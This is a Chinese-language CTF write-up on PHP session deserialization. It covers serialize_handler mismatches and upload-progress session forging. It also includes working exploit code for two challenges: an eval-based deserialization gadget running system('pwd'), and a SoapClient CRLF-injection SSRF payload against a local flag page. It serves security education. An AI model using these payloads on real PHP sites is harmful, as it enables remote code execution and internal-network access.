PHP的session机制

在学习 session 反序列化之前,我们需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

1
2
3
4
<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>

session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

再来看看 session.upload_progress.enabled

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefixsession.upload_progress.name连接在一起的值。

通常这些键值可以通过读取INI设置来获得,例如:

1
2
3
4
<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
var_dump($_SESSION[$key]);
?>

更多细节请参考:http://php.net/manual/zh/session.upload-progress.php

如果想看上面说的这个存在 $_SESSION 数组中的信息,我们需要先将 session.upload_progress.cleanup 设置成 Off

1

接下来我们通过两个CTF题目来学习 session 反序列化问题。

例题一

2

3

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
public $mdzz;
function __construct(){
$this->mdzz = 'echo system("pwd");';
}

function __destruct(){
eval($this->mdzz);
}
}
$_SESSION['payload'] = new OowoO();
// 生成session文件内容为:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>

我们可以通过如下表单,抓包修改 filenamepayload 即可。

1
2
3
4
5
<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

最终会生成一个 session 文件, php 在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。

4

在程序运行结束时,调用 OowoO 类的 __destruct 方法,最终触发代码执行操作。

例题二

5

index.php 文件中,看到 第5行call_user_func 方法,其参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用。 第6-8 行代码又存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞。 第12行call_user_func 函数的第一个参数虽然被固定为 implode ,但是我们可以通过前面的 extract 函数进行变量覆盖(注意:在PHP7.x比较新的版本中,已经不允许动态调用 extract 函数了)。而 flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

下面我们通过一个例子,来看看 SoapClient 类的 __call 方法如何使用。

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://localhost:2333";
$options = array(
"location" => $target,
"user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
"uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:

6

call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>

这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如: session_start(array('serialize_handler' => 'php_serialize')) 将会设置 session.serialize_handler=php_serialize

最终我们的利用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$target = "http://127.0.0.1/flag.php";
$post_data = 'flag=demo';
$ua = array(
'mochazz',
'Content-Type: application/x-www-form-urlencoded',
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=mochazz'
);

$options = array(
'location' => $target,
'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
'uri'=>'hello'
);

$serialize_string = serialize(new SoapClient(null,$options));
echo urlencode($serialize_string);
?>

7

8

最后我们再将 PHPSESSID 修改成 mochazz 即可获得 flag ,整个攻击的流程图如下:

9

例二题目环境可以从 这里 下载。